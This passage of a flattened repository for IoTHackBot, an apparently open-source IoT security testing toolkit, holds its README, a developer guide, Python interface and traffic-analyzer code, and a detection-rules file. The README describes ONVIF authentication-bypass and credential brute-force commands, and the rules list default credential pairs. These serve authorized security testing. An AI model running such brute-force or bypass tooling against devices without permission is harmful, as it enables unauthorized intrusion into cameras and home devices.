1883 or port 5683" -d 45 93 | ``` 94 | 95 | Multiple PCAPs with custom config: 96 | ```bash 97 | iotnet file1.pcap file2.pcap --config custom-rules.json 98 | ``` 99 | 100 | Filter by display filter (Wireshark syntax): 101 | ```bash 102 | iotnet capture.pcap --display-filter "mqtt or coap" 103 | ``` 104 | 105 | ## Detected IoT Protocols 106 | 107 | The tool can identify: 108 | - **MQTT**: Message Queue Telemetry Transport 109 | - **CoAP**: Constrained Application Protocol 110 | - **Zigbee**: Low-power mesh networking 111 | - **Z-Wave**: Home automation protocol 112 | - **ONVIF**: IP camera protocol 113 | - **UPnP/SSDP**: Universal Plug and Play 114 | - **Modbus**: Industrial control protocol 115 | - And many more (configurable) 116 | 117 | ## Security Checks 118 | 119 | IoTNet identifies vulnerabilities such as: 120 | - Unencrypted MQTT traffic 121 | - Missing TLS/encryption 122 | - Weak or no authentication 123 | - Plaintext credentials 124 | - Insecure protocol versions 125 | - Known vulnerable implementations 126 | 127 | ## Output Information 128 | 129 | Results include: 130 | - **Total packets analyzed** 131 | - **Protocol distribution** with percentages 132 | - **IoT findings** with protocol details and packet info 133 | - **Vulnerabilities** with severity levels (high/medium/low) 134 | - **Recommendations** for remediation 135 | 136 | ## Important Notes 137 | 138 | - Live capture requires root/sudo privileges 139 | - Requires network access to specified interface 140 | - PCAP analysis does not require elevated privileges 141 | - Detection rules can be customized in config file 142 | - Supports standard PCAP format from tcpdump, Wireshark, etc. 143 | -------------------------------------------------------------------------------- /TOOL_DEVELOPMENT_GUIDE.md: -------------------------------------------------------------------------------- 1 | # IoTHackBot Tool Development Guide 2 | 3 | This guide documents the standard project structure and development patterns used for iothackbot tools. 4 | 5 | ## Project Structure Overview 6 | 7 | All iothackbot tools follow a consistent architecture separating CLI, core functionality, and shared interfaces. 8 | 9 | ### Directory Structure 10 | ``` 11 | tools/iothackbot/ 12 | ├── __init__.py # Package initialization 13 | ├── tool_name.py # CLI entry point with argparse and colorama 14 | ├── core/ 15 | │ ├── tool_name_core.py # Core tool logic implementing ToolInterface 16 | │ └── interfaces.py # Shared interfaces (ToolInterface, ToolConfig, etc.) 17 | └── bin/ 18 | └── tool_name # Executable binary (imports from tools/iothackbot/) 19 | ``` 20 | 21 | ## Development Patterns 22 | 23 | ### 1. Core Tool Implementation (`core/tool_name_core.py`) 24 | 25 | ```python 26 | """ 27 | Core tool_name functionality - Description. 28 | Separated from CLI logic for automation and chaining. 29 | """ 30 | 31 | from .interfaces import ToolInterface, ToolConfig, ToolResult 32 | 33 | class ToolNameTool(ToolInterface): 34 | """Tool implementation.""" 35 | 36 | @property 37 | def name(self) -> str: 38 | return "tool_name" 39 | 40 | @property 41 | def description(self) -> str: 42 | return "What the tool does" 43 | 44 | def run(self, config: ToolConfig) -> ToolResult: 45 | """Execute the tool.""" 46 | # Implementation here 47 | pass 48 | ``` 49 | 50 | ### 2. CLI Implementation (`tool_name.py`) 51 | 52 | ```python 53 | #!/usr/bin/env python3 54 | import argparse 55 | from colorama import init, Fore, Style 56 | from .core.tool_name_core import ToolNameTool 57 | from .core.interfaces import ConfigBuilder, OutputFormatter 58 | 59 | class ToolNameOutputFormatter(OutputFormatter): 60 | """Custom output formatter for tool results.""" 61 | 62 | def _format_text(self, result: 'ToolResult') -> str: 63 | """Format results as human-readable text.""" 64 | if not result.success: 65 | return "\n".join(result.errors) 66 | # Custom formatting logic 67 | return formatted_output 68 | 69 | def tool_name(): 70 | """Main CLI entry point.""" 71 | parser = argparse.ArgumentParser(description="Tool description") 72 | parser.add_argument("input", help="Input description") 73 | parser.add_argument("-o", "--output", help="Output option") 74 | parser.add_argument("--format", choices=['text', 'json', 'quiet'], default='text') 75 | parser.add_argument("-v", "--verbose", action="store_true") 76 | 77 | args = parser.parse_args() 78 | init() # Initialize colorama 79 | 80 | config = ConfigBuilder.from_args(args, 'tool_name') 81 | tool = ToolNameTool() 82 | result = tool.run(config) 83 | 84 | formatter = ToolNameOutputFormatter() 85 | output = formatter.format_result(result, config.output_format) 86 | if output: 87 | print(output) 88 | 89 | return 0 if result.success else 1 90 | ``` 91 | 92 | ### 3. Binary Executable (`bin/tool_name`) 93 | 94 | ```python 95 | #!/usr/bin/python 96 | # -*- coding: utf-8 -*- 97 | import sys 98 | from iothackbot.tool_name import tool_name 99 | if __name__ == "__main__": 100 | sys.exit(tool_name()) 101 | ``` 102 | 103 | ### 4. ConfigBuilder Integration 104 | 105 | Add custom argument handling to `interfaces.py`: 106 | 107 | ```python 108 | # In ConfigBuilder.from_args() 109 | if hasattr(args, 'custom_arg'): 110 | custom_args['custom_arg'] = args.custom_arg 111 | ``` 112 | 113 | ## Output Formatting Standards 114 | 115 | ### Color Scheme 116 | - **Green**: Success messages, found items 117 | - **Yellow**: Warnings, directory paths 118 | - **Cyan**: Detailed information, file listings 119 | - **Red**: Errors, failures 120 | 121 | ### Emoji Usage 122 | - **NO EMOJIS** in tool output - use text labels instead 123 | - Use descriptive text like `[HIGH RISK]`, `FAILED`, `SUCCESS` instead of emoji symbols 124 | - Maintain professional, parseable output that works in all environments 125 | 126 | ### Format Support 127 | All tools must support: 128 | - `text`: Human-readable colored output (default) 129 | - `json`: Structured JSON output 130 | - `quiet`: Minimal/no output 131 | 132 | ## Development Workflow 133 | 134 | 1. **Create core functionality** in `core/tool_name_core.py` 135 | 2. **Implement CLI wrapper** in `tool_name.py` 136 | 3. **Create binary** in `bin/tool_name` 137 | 4. **Update ConfigBuilder** for custom arguments 138 | 5. **Test integration** with existing tools 139 | 6. **Add to registry** if needed for chaining 140 | 141 | ## Key Interfaces 142 | 143 | ### ToolInterface 144 | - `name`: Tool identifier 145 | - `description`: Tool purpose 146 | - `run(config: ToolConfig) -> ToolResult`: Main execution 147 | 148 | ### ToolConfig 149 | - `input_path`: Primary input file/directory 150 | - `output_format`: text/json/quiet 151 | - `verbose`: Enable verbose output 152 | - `custom_args`: Tool-specific arguments 153 | 154 | ### ToolResult 155 | - `success`: Boolean success indicator 156 | - `data`: Tool-specific results 157 | - `errors`: List of error messages 158 | - `metadata`: Additional execution info 159 | - `execution_time`: Performance metric 160 | 161 | ## Testing 162 | 163 | - Test with various input types 164 | - Verify all output formats work 165 | - Check error handling 166 | - Validate color output 167 | - Test binary execution 168 | - Ensure chaining compatibility 169 | 170 | ## Example Tool Template 171 | 172 | Use this as a starting point for new tools: 173 | 174 | ```bash 175 | # Create files 176 | touch tools/iothackbot/new_tool.py 177 | touch tools/iothackbot/core/new_tool_core.py 178 | touch bin/new_tool 179 | chmod +x bin/new_tool 180 | 181 | # Implement following the patterns above 182 | # Test integration with existing tools 183 | ``` 184 | 185 | ## Chaining Support 186 | 187 | Tools should be designed for chaining: 188 | - Accept ToolResult from previous tools 189 | - Return standardized ToolResult 190 | - Support pipeline operations 191 | - Maintain compatibility with iothackbot workflow 192 | -------------------------------------------------------------------------------- /tools/iothackbot/core/interfaces.py: -------------------------------------------------------------------------------- 1 | """ 2 | Common interfaces and data structures for iothackbot tools. 3 | Provides standardized interfaces for tool chaining and automation. 4 | """ 5 | 6 | from abc import ABC, abstractmethod 7 | from dataclasses import dataclass, field, asdict 8 | from typing import Any, Dict, List, Optional 9 | import json 10 | import time 11 | 12 | 13 | @dataclass 14 | class ToolConfig: 15 | """Configuration for running a tool.""" 16 | input_paths: List[str] 17 | output_format: str = 'text' # 'text', 'json', 'quiet' 18 | verbose: bool = False 19 | timeout: Optional[float] = None 20 | # Tool-specific configuration 21 | custom_args: Dict[str, Any] = field(default_factory=dict) 22 | 23 | @property 24 | def input_path(self) -> str: 25 | """Backward compatibility property for tools expecting a single path.""" 26 | return self.input_paths[0] if self.input_paths else "" 27 | 28 | 29 | @dataclass 30 | class ToolResult: 31 | """Standardized result structure from tool execution.""" 32 | success: bool 33 | data: Any = None 34 | errors: List[str] = field(default_factory=list) 35 | metadata: Dict[str, Any] = field(default_factory=dict) 36 | execution_time: float = 0.0 37 | 38 | 39 | class ToolInterface(ABC): 40 | """Abstract base class for all iothackbot tools.""" 41 | 42 | @abstractmethod 43 | def run(self, config: ToolConfig) -> ToolResult: 44 | """Execute the tool with given configuration.""" 45 | pass 46 | 47 | @property 48 | @abstractmethod 49 | def name(self) -> str: 50 | """Return the tool name.""" 51 | pass 52 | 53 | @property 54 | @abstractmethod 55 | def description(self) -> str: 56 | """Return a description of what the tool does.""" 57 | pass 58 | 59 | 60 | class OutputFormatter: 61 | """Handles formatting tool results for different output formats.""" 62 | 63 | def format_result(self, result: ToolResult, format_type: str) -> str: 64 | """Format a ToolResult according to the specified format.""" 65 | if format_type == 'json': 66 | return self._format_json(result) 67 | elif format_type == 'text': 68 | return self._format_text(result) 69 | elif format_type == 'quiet': 70 | return self._format_quiet(result) 71 | else: 72 | raise ValueError(f"Unknown format type: {format_type}") 73 | 74 | def _format_json(self, result: ToolResult) -> str: 75 | """Format result as JSON.""" 76 | return json.dumps(asdict(result), indent=2, default=str) 77 | 78 | def _format_text(self, result: ToolResult) -> str: 79 | """Format result as human-readable text. Override in subclasses.""" 80 | lines = [] 81 | if result.success: 82 | lines.append("SUCCESS: Tool executed successfully") 83 | else: 84 | lines.append("FAILED: Tool execution failed") 85 | 86 | if result.errors: 87 | lines.append("Errors:") 88 | for error in result.errors: 89 | lines.append(f" - {error}") 90 | 91 | if result.metadata: 92 | lines.append("Metadata:") 93 | for key, value in result.metadata.items(): 94 | lines.append(f" {key}: {value}") 95 | 96 | if result.execution_time > 0: 97 | lines.append(f"Execution time: {result.execution_time:.2f}s") 98 | 99 | return "\n".join(lines) 100 | 101 | def _format_quiet(self, result: ToolResult) -> str: 102 | """Format result for quiet mode (minimal output).""" 103 | return "" if result.success else "\n".join(result.errors) 104 | 105 | 106 | class ConfigBuilder: 107 | """Helper class to build ToolConfig from various sources.""" 108 | 109 | @staticmethod 110 | def from_dict(data: Dict[str, Any]) -> ToolConfig: 111 | """Create ToolConfig from dictionary.""" 112 | return ToolConfig(**data) 113 | 114 | @staticmethod 115 | def from_args(args, tool_name: str) -> ToolConfig: 116 | """Create ToolConfig from argparse args. Override in tool-specific builders.""" 117 | custom_args = {} 118 | 119 | # Extract common args 120 | input_paths = getattr(args, 'paths', getattr(args, 'path', None)) 121 | if input_paths is None: 122 | input_paths = getattr(args, 'target', getattr(args, 'input', getattr(args, 'hostname', getattr(args, 'url', '')))) 123 | if input_paths and not isinstance(input_paths, list): 124 | input_paths = [input_paths] 125 | elif not isinstance(input_paths, list): 126 | input_paths = [input_paths] 127 | 128 | output_format = getattr(args, 'format', getattr(args, 'output', 'text')) 129 | verbose = getattr(args, 'verbose', False) 130 | timeout = getattr(args, 'timeout', None) 131 | 132 | # Tool-specific custom args - these will be handled by individual tools 133 | if hasattr(args, 'patterns'): 134 | custom_args['patterns'] = args.patterns 135 | if hasattr(args, 'extract'): 136 | custom_args['extract'] = args.extract 137 | if hasattr(args, 'directory'): 138 | custom_args['directory'] = args.directory 139 | if hasattr(args, 'all'): 140 | custom_args['all'] = args.all 141 | if hasattr(args, 'target_ip'): 142 | custom_args['target_ip'] = args.target_ip 143 | if hasattr(args, 'threads'): 144 | custom_args['threads'] = args.threads 145 | if hasattr(args, 'output_dir'): 146 | custom_args['output_dir'] = args.output_dir 147 | if hasattr(args, 'block_size'): 148 | custom_args['block_size'] = args.block_size 149 | if hasattr(args, 'max_files'): 150 | custom_args['max_files'] = args.max_files 151 | if hasattr(args, 'processes'): 152 | custom_args['processes'] = args.processes 153 | if hasattr(args, 'status'): 154 | custom_args['show_status'] = args.status 155 | if hasattr(args, 'profile'): 156 | custom_args['enable_profiling'] = args.profile 157 | 158 | return ToolConfig( 159 | input_paths=input_paths, 160 | output_format=output_format, 161 | verbose=verbose, 162 | timeout=timeout, 163 | custom_args=custom_args 164 | ) 165 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # IoTHackBot 2 | 3 | Open-source IoT security testing toolkit with integrated Claude Code skills for automated vulnerability discovery. 4 | 5 | ## Overview 6 | 7 | IoTHackBot is a collection of specialized tools and Claude Code skills designed for security testing of IoT devices, IP cameras, and embedded systems. It provides both command-line tools and AI-assisted workflows for comprehensive IoT security assessments. 8 | 9 | ## Tools Included 10 | 11 | ### Network Discovery & Reconnaissance 12 | 13 | - **wsdiscovery** - WS-Discovery protocol scanner for discovering ONVIF cameras and IoT devices 14 | - **iotnet** - IoT network traffic analyzer for detecting protocols and vulnerabilities 15 | - **nmap-scan** (skill) - Professional network reconnaissance with two-phase scanning strategy 16 | 17 | ### Device-Specific Testing 18 | 19 | - **onvifscan** - ONVIF device security scanner 20 | - Authentication bypass testing 21 | - Credential brute-forcing 22 | 23 | ### Firmware & File Analysis 24 | 25 | - **ffind** - Advanced file finder with type detection and filesystem extraction 26 | - Identifies artifact file types 27 | - Extracts ext2/3/4 and F2FS filesystems 28 | - Designed for firmware analysis 29 | 30 | ### Hardware & Console Access 31 | 32 | - **picocom** (skill) - IoT UART console interaction for hardware testing 33 | - Bootloader manipulation 34 | - Shell enumeration 35 | - Firmware extraction 36 | - Includes Python helper script for automated interaction 37 | 38 | - **telnetshell** (skill) - IoT telnet shell interaction 39 | - Unauthenticated shell testing 40 | - Device enumeration 41 | - BusyBox command handling 42 | - Includes Python helper script and pre-built enumeration scripts 43 | 44 | ## Installation 45 | 46 | ### Prerequisites 47 | 48 | ```bash 49 | # Python dependencies 50 | pip install colorama pyserial pexpect requests 51 | 52 | # System dependencies (Arch Linux) 53 | sudo pacman -S nmap e2fsprogs f2fs-tools python python-pip inetutils 54 | 55 | # For other distributions, install equivalent packages 56 | ``` 57 | 58 | ### Setup 59 | 60 | 1. Clone the repository: 61 | ```bash 62 | git clone https://github.com/BrownFineSecurity/iothackbot.git 63 | cd iothackbot 64 | ``` 65 | 66 | 2. Add the bin directory to your PATH: 67 | ```bash 68 | export PATH="$PATH:$(pwd)/bin" 69 | ``` 70 | 71 | 3. For permanent setup, add to your shell configuration: 72 | ```bash 73 | echo 'export PATH="$PATH:/path/to/iothackbot/bin"' >> ~/.bashrc 74 | ``` 75 | 76 | ## Usage 77 | 78 | ### Quick Start Examples 79 | 80 | #### Discover ONVIF Devices 81 | ```bash 82 | wsdiscovery 192.168.1.0/24 83 | ``` 84 | 85 | #### Test ONVIF Device Security 86 | ```bash 87 | onvifscan auth http://192.168.1.100 88 | onvifscan brute http://192.168.1.100 89 | ``` 90 | 91 | #### Analyze Network Traffic 92 | ```bash 93 | # Analyze PCAP file 94 | iotnet capture.pcap 95 | 96 | # Live capture 97 | sudo iotnet -i eth0 -d 60 98 | ``` 99 | 100 | #### Analyze Firmware 101 | ```bash 102 | # Identify file types 103 | ffind firmware.bin 104 | 105 | # Extract filesystems (requires sudo) 106 | sudo ffind firmware.bin -e 107 | ``` 108 | 109 | ### Claude Code Skills 110 | 111 | IoTHackBot includes specialized skills for Claude Code that provide guided, interactive security testing: 112 | 113 | - **ffind** - Firmware file analysis with extraction 114 | - **iotnet** - Network traffic analysis 115 | - **nmap-scan** - Professional network reconnaissance 116 | - **onvifscan** - ONVIF device security testing 117 | - **picocom** - UART console interaction 118 | - **telnetshell** - Telnet shell enumeration 119 | - **wsdiscovery** - WS-Discovery device discovery 120 | 121 | To use these skills with Claude Code, they are automatically available in the `.claude/skills/` directory. 122 | 123 | ## Tool Architecture 124 | 125 | All tools follow a consistent design pattern: 126 | 127 | - **CLI Layer** (`tools/iothackbot/*.py`) - Command-line interface with argparse 128 | - **Core Layer** (`tools/iothackbot/core/*_core.py`) - Core functionality implementing ToolInterface 129 | - **Binary** (`bin/*`) - Executable wrapper scripts 130 | 131 | This separation enables: 132 | - Easy automation and chaining 133 | - Consistent output formats (text, JSON, quiet) 134 | - Standardized error handling 135 | - Tool composition and pipelines 136 | 137 | ## Configuration 138 | 139 | ### IoT Detection Rules 140 | `config/iot/detection_rules.json` - Custom IoT protocol detection rules for iotnet 141 | 142 | ### Wordlists 143 | - `wordlists/onvif-usernames.txt` - Default usernames for ONVIF devices 144 | - `wordlists/onvif-passwords.txt` - Default passwords for ONVIF devices 145 | 146 | ## Development 147 | 148 | ### Adding New Tools 149 | 150 | See `TOOL_DEVELOPMENT_GUIDE.md` for detailed information on: 151 | - Project structure standards 152 | - Development patterns 153 | - Output formatting guidelines 154 | - Testing and integration 155 | 156 | ### Key Interfaces 157 | 158 | - **ToolInterface** - Base interface for all tools 159 | - **ToolConfig** - Standardized configuration object 160 | - **ToolResult** - Standardized result object with success, data, errors, and metadata 161 | 162 | ## Output Formats 163 | 164 | All tools support multiple output formats: 165 | 166 | ```bash 167 | # Human-readable text with colors (default) 168 | onvifscan auth 192.168.1.100 169 | 170 | # Machine-readable JSON 171 | onvifscan auth 192.168.1.100 --format json 172 | 173 | # Minimal output 174 | onvifscan auth 192.168.1.100 --format quiet 175 | ``` 176 | 177 | ## Security & Ethics 178 | 179 | **IMPORTANT**: These tools are designed for authorized security testing only. 180 | 181 | - Only test devices you own or have explicit permission to test 182 | - Respect scope limitations and rules of engagement 183 | - Be aware of the impact on production systems 184 | - Use appropriate timing to avoid denial of service 185 | - Document all testing activities 186 | - Follow responsible disclosure practices 187 | 188 | ## Contributing 189 | 190 | Contributions are welcome! Please ensure: 191 | 192 | - New tools follow the architecture patterns in `TOOL_DEVELOPMENT_GUIDE.md` 193 | - All tools support text, JSON, and quiet output formats 194 | - Code includes proper error handling 195 | - Documentation is clear and comprehensive 196 | 197 | ## License 198 | 199 | MIT License - See LICENSE file for details 200 | 201 | ## Disclaimer 202 | 203 | This toolkit is provided for educational and authorized security testing purposes only. Users are responsible for ensuring they have proper authorization before testing any systems. The authors are not responsible for misuse or damage caused by this toolkit. 204 | -------------------------------------------------------------------------------- /tools/iothackbot/iotnet.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import argparse 3 | from colorama import init, Fore, Style 4 | from .core.iotnet_core import IoTNetTool 5 | from .core.interfaces import ConfigBuilder, OutputFormatter 6 | 7 | 8 | class IoTNetOutputFormatter(OutputFormatter): 9 | """Custom output formatter for IoT network analysis results.""" 10 | 11 | def _format_text(self, result: 'ToolResult') -> str: 12 | """Format IoT network analysis results as human-readable text.""" 13 | if not result.success: 14 | return "\n".join(result.errors) 15 | 16 | if not result.data: 17 | return "No analysis data available." 18 | 19 | lines = [] 20 | 21 | # Handle both single capture results and multiple file results 22 | if isinstance(result.data, dict) and 'total_packets' in result.data: 23 | # Single capture result (live capture) 24 | self._format_single_analysis(result.data, lines) 25 | else: 26 | # Multiple file results 27 | for file_path, file_data in result.data.items(): 28 | lines.append(Fore.BLUE + f"Analysis for: {file_path}" + Style.RESET_ALL) 29 | lines.append("=" * 50) 30 | self._format_single_analysis(file_data, lines) 31 | lines.append("") 32 | 33 | return "\n".join(lines) 34 | 35 | def _format_single_analysis(self, data: dict, lines: list) -> None: 36 | """Format a single analysis result.""" 37 | # Summary 38 | total_packets = data.get('total_packets', 0) 39 | lines.append(Fore.GREEN + f"Total packets analyzed: {total_packets}" + Style.RESET_ALL) 40 | 41 | # Capture info for live captures 42 | if 'capture_duration' in data: 43 | lines.append(Fore.CYAN + f"Live capture duration: {data['capture_duration']}s on interface {data['interface']}" + Style.RESET_ALL) 44 | 45 | # Protocol summary 46 | protocols = data.get('protocols', {}) 47 | if protocols: 48 | lines.append("\n" + Fore.BLUE + "Protocol Distribution:" + Style.RESET_ALL) 49 | for protocol, count in sorted(protocols.items(), key=lambda x: x[1], reverse=True): 50 | percentage = (count / total_packets * 100) if total_packets > 0 else 0 51 | lines.append(Fore.CYAN + f" {protocol}: {count} packets ({percentage:.1f}%)" + Style.RESET_ALL) 52 | 53 | # IoT findings 54 | findings = data.get('iot_findings', []) 55 | if findings: 56 | lines.append("\n" + Fore.GREEN + f"IoT Protocol Findings ({len(findings)}):" + Style.RESET_ALL) 57 | for i, finding in enumerate(findings, 1): 58 | lines.append(Fore.GREEN + f" {i}. {finding['protocol']} - {finding['details']}" + Style.RESET_ALL) 59 | if 'packet_info' in finding: 60 | info = finding['packet_info'] 61 | if 'src_ip' in info and 'dst_ip' in info: 62 | lines.append(Fore.YELLOW + f" {info['src_ip']} -> {info['dst_ip']}" + Style.RESET_ALL) 63 | 64 | # Vulnerabilities 65 | vulnerabilities = data.get('vulnerabilities', []) 66 | if vulnerabilities: 67 | lines.append("\n" + Fore.RED + f"Vulnerabilities Found ({len(vulnerabilities)}):" + Style.RESET_ALL) 68 | for i, vuln in enumerate(vulnerabilities, 1): 69 | severity_color = { 70 | 'high': Fore.RED, 71 | 'medium': Fore.YELLOW, 72 | 'low': Fore.GREEN 73 | }.get(vuln.get('severity', 'medium'), Fore.YELLOW) 74 | 75 | lines.append(severity_color + f" {i}. [{vuln.get('severity', 'unknown').upper()}] {vuln['vulnerability']}" + Style.RESET_ALL) 76 | lines.append(Fore.YELLOW + f" {vuln['description']}" + Style.RESET_ALL) 77 | lines.append(Fore.CYAN + f" Recommendation: {vuln['recommendation']}" + Style.RESET_ALL) 78 | 79 | # Empty results message 80 | if not findings and not vulnerabilities and total_packets == 0: 81 | lines.append(Fore.YELLOW + "No IoT traffic or vulnerabilities detected in captured packets." + Style.RESET_ALL) 82 | 83 | 84 | def iotnet(): 85 | """Main CLI entry point for iotnet.""" 86 | parser = argparse.ArgumentParser( 87 | description="IoT network traffic analysis for protocol detection and vulnerability assessment." 88 | ) 89 | 90 | # Input options - either pcap files or live capture 91 | parser.add_argument("pcap_files", nargs='*', 92 | help="PCAP files to analyze") 93 | parser.add_argument("-i", "--interface", 94 | help="Network interface for live capture (mutually exclusive with pcap files)") 95 | 96 | # Filtering options 97 | parser.add_argument("--ip", dest="ip_filter", 98 | help="IP address to filter traffic (used as capture filter for live capture, display filter for pcaps)") 99 | 100 | # Live capture options 101 | parser.add_argument("-d", "--duration", type=int, default=30, 102 | help="Live capture duration in seconds (default: 30)") 103 | parser.add_argument("-c", "--capture-filter", 104 | help="Additional capture filter (BPF syntax for live capture)") 105 | 106 | # PCAP analysis options 107 | parser.add_argument("--display-filter", 108 | help="Wireshark display filter for pcap analysis") 109 | parser.add_argument("--config", 110 | help="Path to custom IoT detection rules configuration file") 111 | 112 | # Output options 113 | parser.add_argument("--format", choices=['text', 'json', 'quiet'], default='text', 114 | help="Output format (default: text)") 115 | parser.add_argument("-v", "--verbose", action="store_true", 116 | help="Enable verbose output") 117 | 118 | args = parser.parse_args() 119 | init() # Initialize colorama 120 | 121 | # Validate arguments 122 | if not args.pcap_files and not args.interface: 123 | parser.error("Either provide pcap file(s) or specify --interface for live capture") 124 | 125 | if args.pcap_files and args.interface: 126 | parser.error("Cannot specify both pcap files and --interface") 127 | 128 | # Set paths attribute for ConfigBuilder compatibility 129 | if args.pcap_files: 130 | args.paths = args.pcap_files 131 | 132 | # Build configuration 133 | config = ConfigBuilder.from_args(args, 'iotnet') 134 | 135 | # Add custom arguments 136 | config.custom_args.update({ 137 | 'ip_filter': getattr(args, 'ip_filter', None), 138 | 'interface': getattr(args, 'interface', None), 139 | 'duration': getattr(args, 'duration', 30), 140 | 'capture_filter': getattr(args, 'capture_filter', None), 141 | 'display_filter': getattr(args, 'display_filter', None), 142 | 'config_path': getattr(args, 'config', None), 143 | }) 144 | 145 | # Execute tool 146 | tool = IoTNetTool() 147 | result = tool.run(config) 148 | 149 | # Format and output result 150 | formatter = IoTNetOutputFormatter() 151 | output = formatter.format_result(result, config.output_format) 152 | if output: 153 | print(output) 154 | 155 | # Exit with appropriate code 156 | return 0 if result.success else 1 157 | -------------------------------------------------------------------------------- /config/iot/detection_rules.json: -------------------------------------------------------------------------------- 1 | { 2 | "protocols": { 3 | "mqtt": { 4 | "name": "MQTT", 5 | "description": "Message Queuing Telemetry Transport - IoT messaging protocol", 6 | "ports": [1883, 8883], 7 | "detection_rules": [ 8 | { 9 | "type": "port", 10 | "tcp_ports": [1883, 8883], 11 | "description": "Standard MQTT ports" 12 | }, 13 | { 14 | "type": "payload_pattern", 15 | "pattern": "^\\x10\\x0f\\x00\\x04MQTT\\x04", 16 | "description": "MQTT CONNECT packet signature" 17 | } 18 | ] 19 | }, 20 | "coap": { 21 | "name": "CoAP", 22 | "description": "Constrained Application Protocol - lightweight IoT protocol", 23 | "ports": [5683, 5684], 24 | "detection_rules": [ 25 | { 26 | "type": "port", 27 | "udp_ports": [5683, 5684], 28 | "description": "Standard CoAP ports" 29 | }, 30 | { 31 | "type": "payload_pattern", 32 | "pattern": "^\\x[4-7][0-3]", 33 | "description": "CoAP message header pattern" 34 | } 35 | ] 36 | }, 37 | "http_iot": { 38 | "name": "HTTP-IoT", 39 | "description": "HTTP traffic from IoT devices", 40 | "ports": [80, 443, 8080], 41 | "detection_rules": [ 42 | { 43 | "type": "user_agent", 44 | "patterns": [ 45 | "iot", 46 | "esp8266", 47 | "esp32", 48 | "arduino", 49 | "raspberry", 50 | "particle", 51 | "smartthings", 52 | "nest", 53 | "ring", 54 | "wyze", 55 | "tplink" 56 | ], 57 | "case_insensitive": true, 58 | "description": "Common IoT device user agents" 59 | }, 60 | { 61 | "type": "endpoint_pattern", 62 | "patterns": [ 63 | "/api/", 64 | "/status", 65 | "/config", 66 | "/control", 67 | "/device", 68 | "/sensor" 69 | ], 70 | "description": "Common IoT API endpoints" 71 | } 72 | ] 73 | }, 74 | "zigbee": { 75 | "name": "Zigbee", 76 | "description": "Zigbee wireless protocol for IoT devices", 77 | "ports": [], 78 | "detection_rules": [ 79 | { 80 | "type": "payload_pattern", 81 | "pattern": "^\\x[0-1][0-9a-f]{1,2}", 82 | "description": "Zigbee frame control field pattern" 83 | } 84 | ] 85 | }, 86 | "zwave": { 87 | "name": "Z-Wave", 88 | "description": "Z-Wave wireless protocol for smart home devices", 89 | "ports": [], 90 | "detection_rules": [ 91 | { 92 | "type": "payload_pattern", 93 | "pattern": "^\\x01\\x[89a-f]", 94 | "description": "Z-Wave frame header pattern" 95 | } 96 | ] 97 | } 98 | }, 99 | "vulnerabilities": { 100 | "unencrypted_mqtt": { 101 | "name": "Unencrypted MQTT", 102 | "description": "MQTT traffic using unencrypted connection", 103 | "severity": "high", 104 | "category": "encryption", 105 | "protocol": "mqtt", 106 | "rules": [ 107 | { 108 | "condition": "port == 1883", 109 | "description": "MQTT using default unencrypted port" 110 | } 111 | ], 112 | "recommendation": "Use MQTT over TLS (port 8883) instead of port 1883", 113 | "cve_references": [] 114 | }, 115 | "unencrypted_coap": { 116 | "name": "Unencrypted CoAP", 117 | "description": "CoAP traffic using unencrypted UDP connection", 118 | "severity": "medium", 119 | "category": "encryption", 120 | "protocol": "coap", 121 | "rules": [ 122 | { 123 | "condition": "port == 5683", 124 | "description": "CoAP using default unencrypted port" 125 | } 126 | ], 127 | "recommendation": "Use CoAP over DTLS (port 5684) instead of port 5683", 128 | "cve_references": [] 129 | }, 130 | "suspicious_endpoint": { 131 | "name": "Suspicious API Endpoint", 132 | "description": "Access to potentially sensitive API endpoints", 133 | "severity": "medium", 134 | "category": "access_control", 135 | "protocol": "http", 136 | "rules": [ 137 | { 138 | "condition": "endpoint matches admin|config|setup|root|system|security|user", 139 | "description": "Endpoints that may expose administrative functions" 140 | } 141 | ], 142 | "recommendation": "Verify if this endpoint should be publicly accessible", 143 | "cve_references": [] 144 | }, 145 | "weak_credentials": { 146 | "name": "Weak Authentication", 147 | "description": "HTTP Basic Authentication with potentially weak credentials", 148 | "severity": "high", 149 | "category": "authentication", 150 | "protocol": "http", 151 | "rules": [ 152 | { 153 | "condition": "authorization_header contains admin:admin|root:root|user:user", 154 | "description": "Common default credentials in HTTP Basic Auth" 155 | } 156 | ], 157 | "recommendation": "Change default credentials and use strong passwords", 158 | "cve_references": [] 159 | }, 160 | "exposed_device_info": { 161 | "name": "Device Information Exposure", 162 | "description": "IoT device exposing sensitive system information", 163 | "severity": "low", 164 | "category": "information_disclosure", 165 | "protocol": "http", 166 | "rules": [ 167 | { 168 | "condition": "endpoint contains system|info|version|status", 169 | "description": "Endpoints that may leak device information" 170 | }, 171 | { 172 | "condition": "response contains firmware|version|serial|mac", 173 | "description": "Response containing sensitive device information" 174 | } 175 | ], 176 | "recommendation": "Limit information disclosure in API responses", 177 | "cve_references": [] 178 | }, 179 | "unencrypted_iot_comm": { 180 | "name": "Unencrypted IoT Communication", 181 | "description": "IoT device communicating without encryption", 182 | "severity": "medium", 183 | "category": "encryption", 184 | "protocol": "any", 185 | "rules": [ 186 | { 187 | "condition": "protocol in [mqtt, coap, http] and not tls_encrypted", 188 | "description": "IoT protocols without TLS/DTLS encryption" 189 | } 190 | ], 191 | "recommendation": "Implement proper encryption for IoT communications", 192 | "cve_references": [] 193 | } 194 | }, 195 | "user_agents": { 196 | "iot_devices": [ 197 | "arduino", 198 | "esp8266", 199 | "esp32", 200 | "raspberry", 201 | "particle", 202 | "smartthings", 203 | "nest", 204 | "ring", 205 | "wyze", 206 | "tplink", 207 | "philips-hue", 208 | "samsung-smarttv", 209 | "roku", 210 | "amazon-echo", 211 | "google-home", 212 | "xiaomi", 213 | "huawei-iot", 214 | "bosch-iot", 215 | "sonos", 216 | "lifx" 217 | ], 218 | "iot_libraries": [ 219 | "mqtt-client", 220 | "coap-client", 221 | "aws-iot", 222 | "azure-iot", 223 | "google-iot", 224 | "arduino-http", 225 | "esp8266httpclient" 226 | ] 227 | }, 228 | "known_vulnerable_endpoints": [ 229 | "/admin", 230 | "/config", 231 | "/setup", 232 | "/system", 233 | "/security", 234 | "/user", 235 | "/api/admin", 236 | "/api/config", 237 | "/api/system", 238 | "/api/user", 239 | "/cgi-bin/admin", 240 | "/cgi-bin/config", 241 | "/LAPI/V1.1", 242 | "/webcam", 243 | "/camera", 244 | "/video", 245 | "/stream" 246 | ], 247 | "severity_levels": { 248 | "critical": 